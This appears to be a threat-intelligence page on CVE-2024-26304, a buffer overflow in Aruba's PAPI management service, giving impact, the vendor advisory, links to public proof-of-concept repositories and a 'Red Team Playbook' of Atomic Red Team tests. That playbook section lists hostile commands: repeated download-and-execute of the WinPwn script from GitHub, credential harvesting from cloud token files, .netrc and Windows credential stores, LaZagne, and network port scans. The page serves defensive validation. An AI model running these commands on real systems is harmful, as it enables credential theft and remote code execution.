CVE-2024-26304
Overview
This vulnerability is a buffer overflow in the L2/L3 Management service of Hewlett Packard Enterprise Aruba networking products. The flaw originates from improper handling of specially crafted packets sent to the PAPI UDP port 8211, which is responsible for access point management. The vulnerable component processes these packets without adequate bounds checking, leading to memory corruption in the underlying operating system service.
Vulnerability Description
There is a buffer overflow vulnerability in the underlying L2/L3 Management service that could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's access point management protocol) UDP port (8211). Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
Impact
An unauthenticated attacker with network access to UDP port 8211 can exploit this vulnerability to execute arbitrary code with privileged system rights. This enables full compromise of the affected device, including control over network management functions and potential lateral movement within the network. The attack requires no user interaction and leverages the network-exposed PAPI service, as reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N, resulting in complete confidentiality, integrity, and availability loss.
Solution
Hewlett Packard Enterprise has released security updates detailed in advisory ARUBA-PSA-2024-004, which address this buffer overflow in Aruba Mobility Conductor, Mobility Controllers, WLAN Gateways, and SD-WAN Gateways managed by Aruba Central. Administrators should apply the provided patches immediately to affected versions as specified in the advisory. The advisory is available at https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt and contains step-by-step patching instructions and version information.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The buffer overflow vulnerability in the L2/L3 Management service presents a significant risk due to its potential for unauthenticated remote code execution. This flaw arises from improper handling of input data, specifically when the service processes specially crafted packets sent to the PAPI (Aruba's access point management protocol) UDP port (8211). When an attacker sends these malicious packets, they can exploit the overflow condition, allowing them to overwrite the memory of the application. This can lead to arbitrary code execution with the privileges of the underlying operating system, which is particularly concerning given that these services typically run with elevated permissions.
Attack vectors for this vulnerability are notably straightforward, as they require only the ability to send UDP packets to the affected service. An attacker could leverage this flaw from anywhere on the network, making it particularly dangerous in environments where the management service is exposed to untrusted networks or the internet. Scenarios could include a malicious insider or an external attacker who has gained access to the network. Once the vulnerability is exploited, the attacker could execute arbitrary code, potentially leading to full system compromise, data exfiltration, or the establishment of persistent backdoors for future access.
The real-world impact of such a vulnerability can be profound, particularly for organizations relying on the affected management service for network operations. Successful exploitation could lead to a complete takeover of network devices, resulting in service disruptions, data loss, and significant reputational damage. For businesses, the financial implications could be severe, including regulatory fines, loss of customer trust, and the costs associated with incident response and recovery efforts. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from security teams.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching systems is essential to close off known vulnerabilities. Additionally, network segmentation can help limit exposure by ensuring that management services are not accessible from untrusted networks. Employing intrusion detection and prevention systems (IDPS) can also aid in identifying and blocking malicious packets before they reach the vulnerable service. Monitoring logs for unusual activity, particularly on the UDP port in question, can provide early warning signs of attempted exploitation. Finally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In summary, the buffer overflow vulnerability in the L2/L3 Management service represents a critical threat that could lead to severe consequences if exploited. Understanding the technical details, potential attack vectors, and real-world impacts is crucial for organizations to develop effective detection and mitigation strategies. By prioritizing security measures and maintaining vigilance, businesses can protect themselves from the risks associated with this vulnerability and safeguard their network infrastructure.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-26304, with new exploit attempts emerging in the wild. This shift from theoretical risk to active exploitation significantly elevates the threat posture for organizations deploying affected Aruba infrastructure. Our telemetry indicates that attackers are increasingly targeting the vulnerable PAPI UDP port, leveraging publicly available proof-of-concept exploits to achieve unauthenticated remote code execution. Although the EPSS score remains stable, the presence of live exploitation attempts underscores an urgent need for heightened situational awareness. This development amplifies the risk of severe operational disruption and potential compromise of privileged system controls, thereby increasing the likelihood of widespread impact if defenses are not promptly adjusted. Consequently, the threat level associated with this vulnerability has intensified from a primarily theoretical concern to an imminent operational threat.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
X-Projetion/CVE-2024-26304-RCE-exploit
CVE-2024-26304 is a critical vulnerability (CVSS score of 9.8) affecting ArubaOS
|
X-Projetion | 6 | 0 | 2024-10-05 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-26304 |
| arubanetworks.com |
GitHub CVE
|
https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-004.txt |